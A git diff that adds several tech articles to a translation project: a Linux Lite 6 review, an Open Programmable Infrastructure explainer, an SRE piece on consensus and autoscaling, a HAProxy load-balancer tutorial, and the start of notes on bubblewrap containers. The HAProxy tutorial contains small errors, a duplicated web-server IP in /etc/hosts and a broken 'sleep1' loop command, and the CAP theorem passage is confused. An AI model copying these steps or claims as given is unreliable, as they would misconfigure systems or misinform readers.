+![Linux Lite 6 Xfce Desktop][3] + +### Linux Lite 6: Review + +Lite 6 is coming after two years of its last major release. Due to its dependency on Ubuntu LTS, you should expect some significant changes in this version. First, let’s wrap up the new features in this release. And then, we can talk about the installation, performance and review pointers. + +#### Core updates and changes + +At its core, it is based on Linux Kernel 5.15, the default LTS kernel for Ubuntu 22.04 LTS Jammy Jellyfish. In addition, this release introduces a set of desktop applications from Assistive Technologies to help hearing and sight-impaired people. The apps are – “Onscreen Keyboard – Onboard”, “Screen reader – Orca”, and “screen magnifier”. With this change, Linux Lite 6 becomes more similar to Windows for its target users. + +In addition to the above change, a controversial decision is to add Google Chrome as its default browser replacing the Snap version of Firefox. Undoubtedly, Google Chrome is the market leader in the browser space and is well built. But many have issues with it because it’s from Google. + +Besides, the team also chose between the Firefox deb version and the Microsft Edge (considering Linux Lite 6 targets Windows users). + +Another beneficial core change for users is the team’s decision to bring the latest LibreOffice stable edition in each point release in the next two years. Because Ubuntu might delay specific LibreOffice versions, but with Linux Lite point releases, you definitely would get the latest version. + +Moreover, if you are a fan of look and feel, the new Materia window theme is going to give you a pleasant and sleek desktop. + +Overall, it’s a good set of changes and choices (such as the browser) in Linux Lite 6 to stay ahead with the times. Now, let’s discuss some review findings during our test run. + +![Linux Lite has a nice update tool][4] + +#### Download, Installation + +Linux Lite 6 ISO size is 2.1 GB, and I believe it’s reasonably well-composed, considering the vanilla Ubuntu 22.04 ISO desktop size is a whopping 3 GB+. + +In all fairness, unlike other Linux distributions, Linux Lite doesn’t ask you which desktop you want – because you have only one choice – The Xfce desktop. + +During testing, we could not get it installed in a physical system. The Ubiquity installer became unresponsive on the “read partition” module. After a few hours of research, we found that Ubiquity doesn’t play well with a non-GPT table with more than three logical partitions. + +However, it installs fine in a virtual-machine environment. + +![Ubiquity gave some errors in test machines][5] + +The Lite Welcome app gives you a single point to perform various maintenance activities in the first boot. Critical tasks such as updating the system, patching and installing/removing software are easy with its native Lite Software and Updater. + +Moreover, if you want to install the Firefox web browser, the Lite Software gives you a fair warning that it is a snap. Although, it doesn’t matter much from a new Windows user standpoint, whether it’s snap or anything else. + +![Firefox is available as Snap from Lite Software][6] + +### Performance + +Linux Lite 6 takes around 590 MB of RAM in an idle state with an uptime of 3 hours. The CPU is at about 2% to 3% in an inactive state. Furtehrmore, if you run more applications, the resource usage would increase eventually. However, I believe it’s a good performance considering the target hardware of this distro. Besides, the old Windows 10 or Windows 7 devices would work fine in this distro. + +And it uses 9 GB of disk space for the default install. + +![Linux Lite 6 – Performance][7] + +### Closing Notes + +Overall, it is an excellent release and perhaps one of the early mainstream distros based on Ubuntu 22.04. Tiny additions in this release such as new accessibility tools, a new system monitoring tool and other changes are definitely good. However, some users may not like Google Chrome considering the privacy debates. + +Moreover, the lack of a major upgrade path may be a roadblock and troublesome for new users. I hope the Linux Lite team brings the upgrade feature in the future. Other than that, it’s well built and a good release. You can easily try it out and choose for your daily driver. + +You can download Linux Lite on the [official website][8]. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-lite-6-review/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/linux-lite-6-0/ +[2]: https://www.debugpoint.com/linux-lite-5-2-review/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/Linux-Lite-6-Xfce-Desktop.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/Linux-Lite-has-a-nice-update-tool.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/Ubiquity-gave-some-errors-in-test-machines.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/06/Firefox-is-available-as-Snap-from-Lite-Software.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/06/Linux-Lite-6-Performance.jpg +[8]: https://www.linuxliteos.com/download.php +[9]: https://t.me/debugpoint +[10]: https://twitter.com/DebugPoint +[11]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[12]: https://facebook.com/DebugPoint +[13]: https://t.me/debugpoint diff --git a/sources/tech/20220627 Open Programmable Infrastructure- 1+1=3.md b/sources/tech/20220627 Open Programmable Infrastructure- 1+1=3.md new file mode 100644 index 0000000000..2cafe1b63c --- /dev/null +++ b/sources/tech/20220627 Open Programmable Infrastructure- 1+1=3.md @@ -0,0 +1,75 @@ +[#]: subject: "Open Programmable Infrastructure: 1+1=3" +[#]: via: "https://www.linux.com/news/open-programmable-infrastructure-113/" +[#]: author: "Dan Whiting https://www.linuxfoundation.org/blog/open-programmable-infrastructure-113/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open Programmable Infrastructure: 1+1=3 +====== +At last week’’s Open Source Summit North America, [Robin Ginn][1], Executive Director of the [OpenJS Foundation][2], relayed a principle her mentor taught: “1+1=3”. No, this isn’t ‘new math,’ it is demonstrating the principle that, working together, we are more impactful than working apart. Or, as my wife and I say all of the time, teamwork makes the dream work. + +This principle is really at the core of open source technology. Turns out it is also how I look at the Open Programmable Infrastructure project. + +Stepping back a bit, as “the new guy” around here, I am still constantly running across projects where I want to dig in more and understand what it does, how it does it, and why it is important. I had that very thought last week as we launched another new project, the [Open Programmable Infrastructure Project][3]. As I was [reading up on it][4], they talked a lot about data processing units (DPUs) and infrastructure processing units (IPUs), and I thought, I need to know what these are and why they matter. In the timeless words of The Bobs, “What exactly is it you do here?” + +### What are DPUs/IPUs?  + +First – and this is important – they are basically the same thing, they just have different names. Here is my oversimplified explanation of what they do. + +In most personal computers, you have a separate graphic processing unit(s) that helps the central processing unit(s) (CPU) handle the tasks related to processing and displaying the graphics. They offload that work from the CPU, allowing it to spend more time on the tasks it does best. So, working together, they can achieve more than each can separately. + +Servers powering the cloud also have CPUs, but they have other tasks that can consume tremendous computing  power, say data encryption or network packet management. Offloading these tasks to separate processors enhances the performance of the whole system, as each processor focuses on what it does best. + +In order words, 1+1=3. + +### DPUs/IPUs are highly customizable + +While separate processing units have been around for some time, like your PC’s GPU, their functionally was primarily dedicated to a particular task. Instead, DPUs/IPUs combine multiple offload capabilities that are highly  customizable through software. That means a hardware manufacturer can ship these units out and each organization uses software to configure the units according to their specific needs. And, they can do this on the fly. + +Core to the cloud and its continued advancement and growth is the ability to quickly and easily create and dispose of the “hardware” you need. It wasn’t too long ago that if you wanted a server, you spent thousands of dollars on one and built all kinds of infrastructure around it and hoped it was what you needed for the time. Now, pretty much anyone can quickly setup a virtual server in a matter of minutes for virtually no initial cost. + +DPUs/IPUs bring this same type of flexibility to your own datacenter because they can be configured to be “specialized” with software rather than having to literally design and build a different server every time you need a different capability. + +### What is Open Programmable Infrastructure (OPI)? + +OPI is focused on utilizing  open software and standards, as well as frameworks and toolkits, to allow for the rapid adoption and use of DPUs/IPUs. The OPI Project is both hardware and software companies coming together to establish and nurture an ecosystem to support these solutions. It “seeks to help define the architecture and frameworks for the DPU and IPU software stacks that can be applied to any vendor’s hardware offerings. The OPI Project also aims to foster a rich open source application ecosystem, leveraging existing open source projects, such as DPDK, SPDK, OvS, P4, etc., as appropriate.” + +In other words, competitors are coming together to agree on a common, open ecosystem they can build together and innovate, separately, on top of. The are living out 1+1=3. + +I, for one, can’t wait to see the innovation. + +A special thanks to [Yan][5] [Fisher][6] of Red Hat for helping me understand open programmable infrastructure concepts. He and his colleague, Kris Murphy, have a more [technical blog post on Red Hat’s blog][7]. Check it out. + +For more information on the OPI Project, visit their [website][8] and start contributing at [https://github.com/opiproject/opi][9]. + +Click here to add your own text + +The post [Open Programmable Infrastructure: 1+1=3][10] appeared first on [Linux Foundation][11]. + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/open-programmable-infrastructure-113/ + +作者:[Dan Whiting][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/blog/open-programmable-infrastructure-113/ +[b]: https://github.com/lkxed +[1]: https://github.com/opiproject/opi +[2]: https://openjsf.org/ +[3]: https://opiproject.org/ +[4]: https://www.linuxfoundation.org/press-release/linux-foundation-announces-open-programmable-infrastructure-project/ +[5]: https://www.redhat.com/en/authors/yan-fisher +[6]: https://www.redhat.com/en/authors/yan-fisher +[7]: https://www.redhat.com/en/blog/why-red-hat-joining-open-programmable-infrastructure-project +[8]: https://opiproject.org/ +[9]: https://github.com/opiproject/opi +[10]: https://www.linuxfoundation.org/blog/open-programmable-infrastructure-113/ +[11]: https://www.linuxfoundation.org/ diff --git a/sources/tech/20220627 What is distributed consensus for site reliability engineering-.md b/sources/tech/20220627 What is distributed consensus for site reliability engineering-.md new file mode 100644 index 0000000000..3e0e588afb --- /dev/null +++ b/sources/tech/20220627 What is distributed consensus for site reliability engineering-.md @@ -0,0 +1,129 @@ +[#]: subject: "What is distributed consensus for site reliability engineering?" +[#]: via: "https://opensource.com/article/22/6/distributed-consensus-site-reliability-engineering" +[#]: author: "Robert Kimani https://opensource.com/users/robert-charles" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What is distributed consensus for site reliability engineering? +====== +Keeping your infrastructure healthy takes time and attention, but done correctly it's an automated process that keeps your systems running smoothly. + +![drawings of people shapes on green background][1] + +Image by: Opensource.com + +In my [previous article][2], I discussed how to enforce best practices within your infrastructure. A site reliability engineer (SRE) is responsible for reliability, first and foremost, and enforcing policies that help keep things running is essential. + +### Distributed consensus + +With microservices, containers, and cloud native architectures, almost every application today is going to be a distributed application. Distributed consensus is a core technology that powers distributed systems. + +Distributed consensus is a protocol for building reliable distributed systems. You cannot rely on "heartbeats" (signals from your hardware or software to indicate that they're operating normally) because network failures are inevitable. + +There are some inherent problems to highlight when it comes to distributed systems. Hardware will fail. Nodes in a distributed system can randomly fail. + +This is one of the important assumptions you have to make before you design a distributed system. Network outages are inevitable. You cannot always guarantee 100% network connectivity. Finally, you need a consistent view of any node within a distributed system. + +According to the [CAP theorem][3], a distributed system cannot simultaneously have all of these three properties: + +1. Consistency: Consistent views of data at each node. This means that it is possible that you don't see the same data when viewed from 2 different nodes in a distributed system. +2. Availability: Refers to the availability of data at each node. +3. Partition tolerance: Refers to tolerance to network failures (which results in network partitions). + +Therefore a node needs to have these qualities to function properly. + +Over the years, several protocols have been developed in the area of distributed consensus, including Paxos, [Raft][4], and Zab. + +Paxos, for instance, was one of the original solutions to the distributed consensus problem. In the Paxos algorithm, nodes in a distributed system send a series of proposals with a unique sequence number. When the majority of processes in the distributed system accept the proposal, that proposal wins, and the sender generates a commit message. The key here is that the majority of the processes accept the proposal. + +The strict sequence numbering of proposals is how it avoids duplication of data, and how it solves the problem of ordering. + +### Open source distributed consensus + +You don't have to reinvent the wheel by writing your own distributed consensus code. There are many open source implementations already available, such as the most popular one [Zookeeper][5]. Other implementations are [Consul][6] and [e][7][tcd][8]. + +### Designing autoscaling + +Autoscaling is a process by which the number of servers in a server farm are automatically increased or decreased based on the load. The term "server farm" is used here to refer to any pool of servers in a distributed system. These servers are commonly behind a load balancer, as described in my previous article. + +There are numerous benefits to autoscaling, but here are the 4 major ones: + +1. Reduce cost by running only the required servers. For instance, you can automatically remove servers from your pool when the load is relatively low. +2. Flexibility to run less time-sensitive workload during low traffic, which is another variation of automatically reducing the number of servers. +3. Automatically replace unhealthy servers (most cloud vendors provide this functionality). +4. Increase reliability and uptime of your services. + +While there are numerous benefits, there are some inherent problems with autoscaling: + +1. A dependent back-end server or a service can get overwhelmed when you automatically expand your pool of servers. The service that you depend on, for example, the remote service your application connects to, may not be aware of the autoscaling activity of your service. +2. Software bugs can trigger the autoscaler to expand the server farm abruptly. This is a dangerous situation that can happen in production systems. A configuration error, for instance, can cause the autoscaler to uncontrollably start new instances. +3. Load balancing may not be intelligent enough to consider new servers. For example, a newly added server to the pool usually requires a warm up period before it can actually receive traffic from the load balancer. When the load balancer isn't fully aware of this situation, it can inundate the new server before it's ready. + +### Autoscaling best practices + +Scaling down is more sensitive and dangerous than scaling up. You must fully test all scale-down scenarios. + +Ensure the back-end systems, such as your database, remote web service, and so on, or any external systems that your applications depend on can handle the increased load. You may be automatically adding new servers to your pool to handle increased load, but the remote service that your application depends on may not be aware of this. + +You must configure an upper limit on the number of servers. This is important. You don't want the autoscaler to uncontrollably start new instances. + +Have a "kill switch" you can use to easily stop the autoscaling process. If you hit a bug or configuration error that causes the autoscaler to behave erratically, you need a way to stop it. + +### 3 systems that act in concert for successful autoscaling + +There are three systems to consider for successful implementation of autoscaling: + +1. LoadBalancing: One of the crucial benefits of [load balancing][9] is the ability to minimize latency by routing traffic to the location closest to the user. +2. LoadShedding: In order to accept all incoming requests, you only process the ones you can. Drop the excess traffic. Examples of load shedding systems are [Netflix Zuul][10], and [Envoy][11]. +3. Autoscaling: Based on load, your infrastructure automatically scales up or down. + +When you're designing your distributed applications, think through all the situations your applications might encounter. You should clearly document how load balancing, load shedding, and autoscaling work together to handle all situations. + +### Implementing effective health checks + +The core job of load balancers is to direct traffic to a set of back-end servers. Load balancers need to know which servers are alive and healthy in order for it to successfully direct traffic to them. You can use health checks to determine which servers are healthy and can receive requests. + +Here's what you need to learn about effective health checks: + +* Simple: Monitor for the availability of a back-end server. +* Content verification: Send a small request to the back-end server and examine the response. For instance, you could look for a particular string or response code. +* Failure: Your server may be up, but the application listening on a particular pod may be down. Or the pod may be listening, but it may not be accepting new connections. A health check must be intelligent enough to identify a problematic back-end server. + +Health checks with sophisticated content verification can increase network traffic. Find the balance between a simple health check (a simple ping, for instance) and a sophisticated content-based health check. + +In general, for a web application, hitting the home page of a web server and looking for a proper HTML response can serve as a reasonable health check. These kinds of checks can be automated using the [curl command][12]. + +Whenever you are doing a postmortem analysis of an outage, review your health check policies and determine how fast your load balancer marked a server up or down. This can be very useful to determine your health check policies. + +### Stay healthy + +Keeping your infrastructure healthy takes time and attention, but done correctly it's an automated process that keeps your systems running smoothly. There's yet more to an SRE's job to discuss, but those are topics for my next article. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/distributed-consensus-site-reliability-engineering + +作者:[Robert Kimani][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/robert-charles +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/Community.jpg +[2]: https://opensource.com/article/22/6/circuit-breaker-pattern-site-reliability-engineering +[3]: https://en.wikipedia.org/wiki/CAP_theorem +[4]: https://raft.github.io/ +[5]: https://zookeeper.apache.org/ +[6]: https://www.consul.io/ +[7]: https://etcd.io/ +[8]: https://etcd.io +[9]: https://opensource.com/article/21/4/load-balancing +[10]: https://github.com/Netflix/zuul +[11]: https://github.com/envoyproxy/envoy +[12]: https://opensource.com/article/20/5/curl-cheat-sheet#headers diff --git a/sources/tech/20220628 How to Install and Configure HAProxy on Ubuntu 22.04.md b/sources/tech/20220628 How to Install and Configure HAProxy on Ubuntu 22.04.md new file mode 100644 index 0000000000..9da8a54cdc --- /dev/null +++ b/sources/tech/20220628 How to Install and Configure HAProxy on Ubuntu 22.04.md @@ -0,0 +1,288 @@ +[#]: subject: "How to Install and Configure HAProxy on Ubuntu 22.04" +[#]: via: "https://www.linuxtechi.com/install-configure-haproxy-on-ubuntu/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Install and Configure HAProxy on Ubuntu 22.04 +====== +In this post, we will demonstrate how to install HAProxy on Ubuntu 22.04 (Jammy Jellyfish) step by step. We will later configure it to act as a load balancer by distributing incoming requests between two web servers. + +##### What is HAProxy? + +HaProxy, short for High Availability Proxy, is a free and open-source HTTP load balancer and reverse-proxy solution that is widely used to provide high availability to web applications and guarantee maximum possible uptime. + +It is a high-performance application that injects performance improvements to your web apps by distributing traffic across multiple endpoints. This way, it ensures that no webserver is overloaded with incoming HTTP requests since the workload is equitably distributed across several nodes. + +While free, the Enterprise Edition provides added features such as WAF ( Web Application Firewall ), application acceleration, advanced DDoS protection, advanced health checks and so much more. + +##### Lab setup + +To demonstrate HAProxy in action, you need to have at least three Linux systems. One will act as the HAProxy load balancer, while the rest will act as web servers. + +![Haproxy-Lab-Setup-Ubuntu][1] + +### Step 1) Install HAProxy Load Balancer + +The first step is to install HAProxy on Ubuntu. Ubuntu repositories provide HAProxy by default, but it is not the latest one. + +To view available haproxy package version from default repositories, run + +``` +$ sudo apt update +$ sudo apt show haproxy +``` + +![default-haproxy-version-ubuntu-22-04][2] + +But the latest long term support release is HAProxy is 2.6, So to install HAProxy 2.6, first enable PPA repository, run following command + +``` +$ sudo add-apt-repository ppa:vbernat/haproxy-2.6 -y +``` + +Now install haproxy 2.6 by executing the following commands + +``` +$ sudo apt update +$ sudo apt install -y haproxy=2.6.\* +``` + +Once installed, confirm the version of HAProxy installed as shown. + +``` +$ haproxy -v +``` + +![Haproxy-version-ubuntu-22-04][3] + +Upon installation, the HAProxy service starts by default and listens to TCP  port 80. To verify HAProxy is running, run the command + +``` +$ sudo systemctl status haproxy +``` + +![Haproxy-Status-Ubuntu-Linux][4] + +It’s recommended to enable the service to auto-start on very system reboot as shown. + +``` +$ sudo systemctl enable haproxy +``` + +### Step 2) Configure HAProxy + +The next step is to configure HAProxy to distribute traffic evenly between two web servers. The configuration file for haproxy is /etc/haproxy/haproxy.cfg. + +Before making any changes to the file, first, make a backup copy. + +``` +$ sudo cp /etc/haproxy/haproxy.cfg /etc/haproxy/haproxy.cfg.bk +``` + +Then open the file using your preferred text editor. Here, we are using Nano. + +``` +$ sudo nano /etc/haproxy/haproxy.cfg +``` + +Haproxy configuration file is made up of the following sections: + +* global: This is the first section that you see at the very top. It contains system-wide settings that handle performance tuning and security. +* defaults: As the name suggests, this section contains settings that should work well without additional customization. These settings include timeout and error reporting configurations. +* frontend and backend: These are the settings that define the frontend and backend settings. For the frontend, we will define the HAProxy server as the front end which will distribute requests to the backend servers which are the webservers. We will also set HAProxy to use round robbin load balancing criteria for distributing traffic. +* listen: This is an optional setting that enables you to enable monitoring of HAProxy statistics. + +Now define the frontend and backend settings: + +``` +frontend linuxtechi +   bind 10.128.0.25:80 +   stats uri /haproxy?stats +   default_backend web-servers + +backend web-servers +    balance roundrobin +    server web1 10.128.0.27:80 +    server web2 10.128.0.26:80 +``` + +Here, we have configured both the HAProxy server and the web server nodes to listed to port 80. Be sure to replace the IP address for the HAProxy and webservers with your setup. + +In order to enable viewing the HAProxy statistics from a browser, add the following ‘listen’ section. + +``` +listen stats +   bind *:8080 +   stats enable +   stats uri / +   stats refresh 5s +   stats realm Haproxy\ Statistics +   stats auth linuxtechi:[email protected]     #Login User and Password for the monitoring +``` + +The stats auth directive specifies the username and password for the login user for viewing statistics on the browser. + +![HAproxy-Config-File-Ubuntu][5] + +Now save all the changes and exit the configuration file. To reload the new settings, restart haproxy service. + +``` +$ sudo systemctl restart haproxy +``` + +Next edit the /etc/hosts file. + +Define the hostnames and IP addresses of the haproxy main server and the webservers. + +``` +10.128.0.25 haproxy +10.128.0.27 web1 +10.128.0.27 web2 +``` + +Save the changes and exit. + +### Step 3) Configure Web Servers + +In this step, we will configure the remaining Linux systems which are the web servers. + +So, log in to each of the web servers and install the Apache web server package. + +``` +$ sudo apt update +$ sudo apt install -y apache2 +``` + +Next, verify that Apache is running on each of the servers. + +``` +$ sudo systemctl status apache2 +``` + +Then enable Apache webserver to start on boot on both servers. + +``` +$ sudo systemctl enable apache2 +``` + +Next, modify the index.html files for each web server. + +For Web Server 1 + +Switch to the root user + +``` +$ sudo su +``` + +Then run the following command. + +``` +# echo "

Hello! This is webserver1: 10.128.0.27

" > /var/www/html/index.html +``` + +For Web Server 2 + +Similarly, switch to the root user + +$ sudo su + +And create the index.html file as shown. + +``` +# echo "

Hello! This is webserver2: 10.128.0.26

" > /var/www/html/index.html +``` + +Next, configure the /etc/hosts file. + +``` +$ sudo nano /etc/hosts +``` + +Add the HAProxy entry to each node. + +``` +10.128.0.25 haproxy +``` + +Save the changes and exit the configuration file. + +Be sure you can ping the HAProxy server from each of the web server nodes. + +![Haproxy-Connectivity-from-web1][6] + +![Haproxy-Connectivity-from-web2][7] + +Note: Make Sure port 80 is allowed in the OS firewall in case it is enabled on web servers. + +### Step 4) Test HAProxy Load Balancing + +Up until this point, we have successfully configured our HAProxy and both of the back-end web servers. To test if your configuration is working as expected, browse the IP address of the HAProxy server + +http://10.128.0.25 + +When you browse for the first time, you should see the web page for the first web server + +![Access-WebPage1-Over-Haproxy][8] + +Upon refreshing, you should the webpage for the second web server + +![Access-WebPage2-Over-Haproxy][9] + +This shows that the HAProxy server is performing its load balancing job spectacularly by distributing incoming web traffic across the two web servers in a Round Robbin algorithm. + +Moreover, you can use the following do-while loop with the curl command: + +``` +$ while true; do curl 10.128.0.25; sleep1; done +``` + +![While-Loop-Access-Webpage-over-Haproxy][10] + +To view monitoring statistics, browse the following URL: + +http://10.128.0.25:8080/stats + +You will be required to authenticate, so provide your details as specified in Step 2. + +![HAproxy-GUI-Login-Page][11] + +You will see the following page with statistics on the performance of the HAProxy server. + +![Haproxy-Stats-Ubuntu-Linux][12] + +##### Conclusion + +There you have it! We have successfully installed HAProxy on Ubuntu 22.04 and configured it to serve requests across two web servers using the Round Robbin load balancing criteria. + +Read Also: How to Configure Static IP Address on Ubuntu 22.04 LTS + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/install-configure-haproxy-on-ubuntu/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Haproxy-Lab-Setup-Ubuntu.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/06/default-haproxy-version-ubuntu-22-04.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Haproxy-version-ubuntu-22-04.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Haproxy-Status-Ubuntu-Linux.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/06/HAproxy-Config-File-Ubuntu.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Haproxy-Connectivity-from-web1.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Haproxy-Connectivity-from-web2.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Access-WebPage1-Over-Haproxy.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Access-WebPage2-Over-Haproxy.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/06/While-Loop-Access-Webpage-over-Haproxy.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/06/HAproxy-GUI-Login-Page.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/06/Haproxy-Stats-Ubuntu-Linux.png diff --git a/sources/tech/20220628 Notes on running containers with bubblewrap.md b/sources/tech/20220628 Notes on running containers with bubblewrap.md new file mode 100644 index 0000000000..56e97e8a95 --- /dev/null +++ b/sources/tech/20220628 Notes on running containers with bubblewrap.md @@ -0,0 +1,480 @@ +[#]: subject: "Notes on running containers with bubblewrap" +[#]: via: "https://jvns.ca/blog/2022/06/28/some-notes-on-bubblewrap/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Notes on running containers with bubblewrap +====== +Hello! About a year ago I got mad about Docker container startup time. This was +because I was building an [nginx playground][1] +where I was starting a new “container” on every HTTP request, and so for it to +feel reasonably snappy, nginx needed to start quickly. + +Also, I was running this project on a pretty small cloud machine (256MB RAM), a +small CPU, so I really wanted to avoid unnecessary overhead. + +I’ve been looking for a way to run containers faster since then, but I couldn’t +find one until last week when I discovered +[bubblewrap][2]!! It’s very fast and I +think it’s super cool, but I also ran into a bunch of fun problems that I +wanted to write down for my future self. + +#### some disclaimers + +* I’m not sure if the way I’m using bubblewrap in this post is maybe not how it’s intended to be used +* there are a lot of sharp edges when using bubblewrap in this way, you need to +think a lot about Linux namespaces and how containers work +* bubblewrap is a security tool but I am not a security person and I am only +doing this for weird tiny projects. you should definitely not take security +advice from me. + +Okay, all of that said, let’s talk about I’m trying to use bubblewrap to run +containers fast and in a relatively secure way :) + +#### Docker containers take ~300ms to start on my machine + +I ran a quick benchmark to see how long a Docker container takes to run a +simple command (`ls` ). For both Docker and Podman, it’s about 300ms. + +``` +$ time docker run --network none -it ubuntu:20.04 ls / > /dev/null +Executed in 378.42 millis +$ time podman run --network none -it ubuntu:20.04 ls / > /dev/null +Executed in 279.27 millis +``` + +Almost all of this time is overhead from docker and podman – just running `ls` +by itself takes about 3ms: + +``` +$ time ls / > /dev/null +Executed in 2.96 millis +``` + +I want to stress that, while I’m not sure exactly what the slowest part of +Docker and podman startup time is (I spent 5 minutes trying to profile them and +gave up), I’m 100% sure it’s something important. + +The way we’re going to run containers faster with bubblewrap has a lot of +limitations and it’s a lower level interface which is a lot trickier to use. + +#### goal 1: containers that start quickly + +I felt like it *should* be possible to have containers that start essentially +instantly or at least in less than 5ms. My thought process: + +* creating a new namespace with `unshare` is basically instant +* [containers are basically just a bunch of namespaces][3] +* what’s the problem? + +#### container startup time is (usually) not that important + +Most of the time when people are using containers, they’re running some +long-running process inside the container like a webserver, so it doesn’t +really matter if it takes 300ms to start. + +So it makes sense to me that there aren’t a lot of container tools that +optimize for startup time. But I still wanted to optimize for startup time :) + +#### goal 2: run the containers as an unprivileged user + +Another goal I had was to be able to run my containers as an unprivileged user +instead of root. + +I was surprised the first time I learned that Docker actually runs containers +as root – even though I run `docker run ubuntu:20.04` as an unprivileged user (`bork` ), that +message is actually sent to a daemon running as root, and the Docker container +process itself also runs as root (albeit a `root` that’s stripped of all its +capabilities). + +That’s fine for Docker (they have lots of very smart people making sure that +they get it right!), but if I’m going to do container stuff *without* using +Docker (for the speed reasons mentioned above), I’d rather not do it as root to +keep everything a bit more secure. + +#### podman can run containers as an non-root user + +Before we start talking about how to do weird stuff with bubblewrap, I want to +quickly talk about a much more normal tool to run containers: podman! + +Podman, unlike Docker, can run containers as an unprivileged user! + +If I run this from my normal user: + +``` +$ podman run -it ubuntu:20.04 ls +``` + +it doesn’t secretly run as root behind the scenes! It just starts the container +as my normal user, and then uses something called “user namespaces” so that +*inside the container* I appear to be root. + +The other cool thing aboud podman is that it has exactly the same interface as +Docker, so you can just take a Docker command and replace `docker` with +`podman` and it’ll Just Work. I’ve found that sometimes I need to do some extra +work to get podman to work in practice, but it’s still pretty nice that it has +the same command line interface. + +This “run containers as a non-root user” feature is normally called “rootless +containers”. (I find that name kind of counterintuitive, but that’s what people call it) + +#### failed attempt 1: write my own tool using runc + +``` +runc +``` + +I knew that Docker and podman use +[runc][4] under the hood, so I thought – +well, maybe I can just use `runc` directly to make my own tool that starts +containers faster than Docker does! + +I tried to do this 6 months ago and I don’t remember most of the details, but basically +I spent 8 hours working on it, got frustrated because I couldn’t get anything +to work, and gave up. + +One specific detail I remember struggling with was setting up a working `/dev` +for my programs to use. + +#### enter bubblewrap + +Okay, that was a very long preamble so let’s get to the point! Last week, I +discovered a tool called `bubblewrap` that was basically exactly the thing I +was trying to build with `runc` in my failed attempt, except that it actually +works and has many more features and it’s built by people who know things about +security! Hooray! + +The interface to bubblewrap is pretty different than the interface to Docker – +it’s much lower level. There’s no concept of a container image – instead you +map a bunch of directories on your host to directories in the container. + +For example, here’s how to run a container with the same root directory as your +host operating system, but with only read access to that root directory, and only write access to `/tmp`. + +``` +bwrap \ + --ro-bind / / \ + --bind /tmp /tmp \ + --proc /proc --dev /dev \ + --unshare-pid \ + --unshare-net \ + bash +``` + +For example, you could imagine running some untrusted process under bubblewrap +this way and then putting all the files you the process to access in `/tmp`. + +#### bubblewrap runs containers as an unprivileged (non-root) user + +Like podman, bubblewrap runs containers as a non-root user, using user +namespaces. It can also run containers as root, but in this post we’re just +going to be talking about using it as an unprivileged user. + +#### bubblewrap is fast + +Let’s see how long it takes to run `ls` in a bubblewrap container! + +``` +$ time bwrap --ro-bind / / --proc /proc --dev /dev --unshare-pid ls / +Executed in 8.04 millis +``` + +That’s a big difference! 8ms is a lot faster than 279ms. + +Of course, like we said before, the reason bubblewrap is faster is that it does +a lot less. So let’s talk about some things bubblewrap doesn’t do. + +#### some things bubblewrap doesn’t do + +Here are some things that Docker/podman do that bubblewrap doesn’t do: + +* set up overlayfs mounts for you, so that your changes to the filesystem don’t affect the base image +* set up networking bridges so that you can connect to a webserver inside the container +* probably a bunch more stuff that I’m not thinking of + +In general, bubblewrap is a much lower level tool than something like Docker. + +Also, bubblewrap seems to have pretty different goals than Docker – the README +seems to say that it’s intended as a tool for sandboxing desktop software (I +think it comes from [flatpak][5]). + +#### running a container image with bubblewrap + +I couldn’t find instructions for running a Docker container image with +bubblewrap, so here they are. Basically I just use Docker to download the +container image and put it into a directory 